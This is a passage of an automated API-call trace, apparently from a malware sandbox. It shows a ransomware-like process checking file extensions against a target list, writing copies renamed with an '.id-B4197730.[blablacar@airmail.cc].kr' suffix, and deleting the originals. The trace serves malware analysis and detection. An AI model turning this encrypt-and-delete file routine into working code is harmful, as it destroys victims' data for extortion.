lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.987] lstrlenW (lpString=".jpg") returned 4 [0087.987] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.987] lstrlenW (lpString=".doc") returned 4 [0087.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.987] lstrlenW (lpString=".docx") returned 5 [0087.987] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.987] lstrlenW (lpString=".pdf") returned 4 [0087.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.987] lstrlenW (lpString=".xls") returned 4 [0087.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.987] lstrlenW (lpString=".xlsx") returned 5 [0087.987] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.987] lstrlenW (lpString=".ppt") returned 4 [0087.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.987] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.987] lstrlenW (lpString=".zip") returned 4 [0087.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.987] lstrlenW (lpString=".rar") returned 4 [0087.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.987] lstrlenW (lpString=".bz2") returned 4 [0087.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.987] lstrlenW (lpString=".7z") returned 3 [0087.988] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.988] lstrlenW (lpString=".dbf") returned 4 [0087.988] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.988] lstrlenW (lpString=".1cd") returned 4 [0087.988] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0087.988] lstrlenW (lpString=".jpg") returned 4 [0087.988] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.988] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0087.988] lstrlenW (lpString="SetupResources.dll") returned 18 [0087.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0087.988] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=17752) returned 1 [0087.989] CloseHandle (hObject=0x33c) returned 1 [0087.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0087.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0087.989] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.989] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0087.989] GetLastError () returned 0x0 [0087.990] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4558, lpOverlapped=0x0) returned 1 [0087.992] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4560, lpOverlapped=0x0) returned 1 [0087.994] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.994] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0087.994] SetEndOfFile (hFile=0x350) returned 1 [0087.994] CloseHandle (hObject=0x350) returned 1 [0087.996] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.996] SetEndOfFile (hFile=0x33c) returned 1 [0087.997] CloseHandle (hObject=0x33c) returned 1 [0087.997] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.997] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0087.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.998] lstrlenW (lpString=".doc") returned 4 [0087.998] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.998] lstrlenW (lpString=".docx") returned 5 [0087.998] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.998] lstrlenW (lpString=".pdf") returned 4 [0087.998] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0087.998] lstrlenW (lpString=".xls") returned 4 [0087.998] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0087.998] lstrlenW (lpString=".xlsx") returned 5 [0087.998] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0087.998] lstrlenW (lpString=".ppt") returned 4 [0087.998] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0087.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.998] lstrlenW (lpString=".zip") returned 4 [0087.999] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0087.999] lstrlenW (lpString=".rar") returned 4 [0087.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0087.999] lstrlenW (lpString=".bz2") returned 4 [0087.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0087.999] lstrlenW (lpString=".7z") returned 3 [0087.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0087.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.999] lstrlenW (lpString=".dbf") returned 4 [0087.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0087.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.999] lstrlenW (lpString=".1cd") returned 4 [0087.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0087.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.999] lstrlenW (lpString=".jpg") returned 4 [0087.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0087.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0087.999] lstrlenW (lpString=".doc") returned 4 [0087.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0087.999] lstrlenW (lpString=".docx") returned 5 [0087.999] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0087.999] lstrlenW (lpString=".pdf") returned 4 [0087.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.000] lstrlenW (lpString=".xls") returned 4 [0088.000] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.000] lstrlenW (lpString=".xlsx") returned 5 [0088.000] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.000] lstrlenW (lpString=".ppt") returned 4 [0088.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0088.000] lstrlenW (lpString=".zip") returned 4 [0088.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.000] lstrlenW (lpString=".rar") returned 4 [0088.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.000] lstrlenW (lpString=".bz2") returned 4 [0088.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.000] lstrlenW (lpString=".7z") returned 3 [0088.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0088.000] lstrlenW (lpString=".dbf") returned 4 [0088.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0088.000] lstrlenW (lpString=".1cd") returned 4 [0088.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0088.000] lstrlenW (lpString=".jpg") returned 4 [0088.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.001] Sleep (dwMilliseconds=0x64) [0088.249] Sleep (dwMilliseconds=0x64) [0088.476] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0088.476] lstrlenW (lpString="SetupResources.dll") returned 18 [0088.476] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.476] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=14168) returned 1 [0088.476] CloseHandle (hObject=0x340) returned 1 [0088.476] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 0x80 [0088.476] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.477] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.477] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.477] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.477] GetLastError () returned 0x0 [0088.477] ReadFile (in: hFile=0x340, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x3758, lpOverlapped=0x0) returned 1 [0088.481] WriteFile (in: hFile=0x348, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x3760, lpOverlapped=0x0) returned 1 [0088.482] ReadFile (in: hFile=0x340, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.482] WriteFile (in: hFile=0x348, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0088.482] SetEndOfFile (hFile=0x348) returned 1 [0088.483] CloseHandle (hObject=0x348) returned 1 [0088.484] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.484] SetEndOfFile (hFile=0x340) returned 1 [0088.485] CloseHandle (hObject=0x340) returned 1 [0088.485] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.486] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll")) returned 1 [0088.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.486] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.486] lstrlenW (lpString=".doc") returned 4 [0088.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.486] lstrlenW (lpString=".docx") returned 5 [0088.486] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.486] lstrlenW (lpString=".pdf") returned 4 [0088.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.486] lstrlenW (lpString=".xls") returned 4 [0088.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.487] lstrlenW (lpString=".xlsx") returned 5 [0088.487] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.487] lstrlenW (lpString=".ppt") returned 4 [0088.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.487] lstrlenW (lpString=".zip") returned 4 [0088.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.487] lstrlenW (lpString=".rar") returned 4 [0088.487] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.487] lstrlenW (lpString=".bz2") returned 4 [0088.487] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.487] lstrlenW (lpString=".7z") returned 3 [0088.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.487] lstrlenW (lpString=".dbf") returned 4 [0088.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.487] lstrlenW (lpString=".1cd") returned 4 [0088.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.487] lstrlenW (lpString=".jpg") returned 4 [0088.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.487] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.487] lstrlenW (lpString=".doc") returned 4 [0088.488] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.488] lstrlenW (lpString=".docx") returned 5 [0088.488] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.488] lstrlenW (lpString=".pdf") returned 4 [0088.488] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.488] lstrlenW (lpString=".xls") returned 4 [0088.488] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.488] lstrlenW (lpString=".xlsx") returned 5 [0088.488] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.488] lstrlenW (lpString=".ppt") returned 4 [0088.488] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.488] lstrlenW (lpString=".zip") returned 4 [0088.488] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.488] lstrlenW (lpString=".rar") returned 4 [0088.488] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.488] lstrlenW (lpString=".bz2") returned 4 [0088.488] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.488] lstrlenW (lpString=".7z") returned 3 [0088.488] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.488] lstrlenW (lpString=".dbf") returned 4 [0088.488] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.488] lstrlenW (lpString=".1cd") returned 4 [0088.488] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.488] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\SetupResources.dll") returned 45 [0088.489] lstrlenW (lpString=".jpg") returned 4 [0088.489] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.489] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0088.489] lstrlenW (lpString="SetupResources.dll") returned 18 [0088.489] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.489] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=18776) returned 1 [0088.489] CloseHandle (hObject=0x340) returned 1 [0088.489] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80 [0088.489] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.490] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.490] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.490] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.490] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.490] GetLastError () returned 0x0 [0088.490] ReadFile (in: hFile=0x340, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x4958, lpOverlapped=0x0) returned 1 [0088.493] WriteFile (in: hFile=0x348, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x4960, lpOverlapped=0x0) returned 1 [0088.495] ReadFile (in: hFile=0x340, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.495] WriteFile (in: hFile=0x348, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0088.495] SetEndOfFile (hFile=0x348) returned 1 [0088.495] CloseHandle (hObject=0x348) returned 1 [0088.497] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.497] SetEndOfFile (hFile=0x340) returned 1 [0088.498] CloseHandle (hObject=0x340) returned 1 [0088.498] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.498] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1 [0088.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.499] lstrlenW (lpString=".doc") returned 4 [0088.499] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.499] lstrlenW (lpString=".docx") returned 5 [0088.499] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.499] lstrlenW (lpString=".pdf") returned 4 [0088.499] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.499] lstrlenW (lpString=".xls") returned 4 [0088.499] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.499] lstrlenW (lpString=".xlsx") returned 5 [0088.499] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.499] lstrlenW (lpString=".ppt") returned 4 [0088.499] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.499] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.499] lstrlenW (lpString=".zip") returned 4 [0088.499] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.499] lstrlenW (lpString=".rar") returned 4 [0088.499] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.499] lstrlenW (lpString=".bz2") returned 4 [0088.499] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.499] lstrlenW (lpString=".7z") returned 3 [0088.499] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.500] lstrlenW (lpString=".dbf") returned 4 [0088.500] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.500] lstrlenW (lpString=".1cd") returned 4 [0088.500] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.500] lstrlenW (lpString=".jpg") returned 4 [0088.500] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.500] lstrlenW (lpString=".doc") returned 4 [0088.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.500] lstrlenW (lpString=".docx") returned 5 [0088.500] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.500] lstrlenW (lpString=".pdf") returned 4 [0088.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.500] lstrlenW (lpString=".xls") returned 4 [0088.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.500] lstrlenW (lpString=".xlsx") returned 5 [0088.500] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.500] lstrlenW (lpString=".ppt") returned 4 [0088.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.500] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.501] lstrlenW (lpString=".zip") returned 4 [0088.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.501] lstrlenW (lpString=".rar") returned 4 [0088.501] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.501] lstrlenW (lpString=".bz2") returned 4 [0088.501] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.501] lstrlenW (lpString=".7z") returned 3 [0088.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.501] lstrlenW (lpString=".dbf") returned 4 [0088.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.501] lstrlenW (lpString=".1cd") returned 4 [0088.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.501] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45 [0088.501] lstrlenW (lpString=".jpg") returned 4 [0088.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.501] Sleep (dwMilliseconds=0x64) [0088.783] Sleep (dwMilliseconds=0x64) [0089.151] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0089.151] lstrlenW (lpString="SysReqMet.ico") returned 13 [0089.151] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 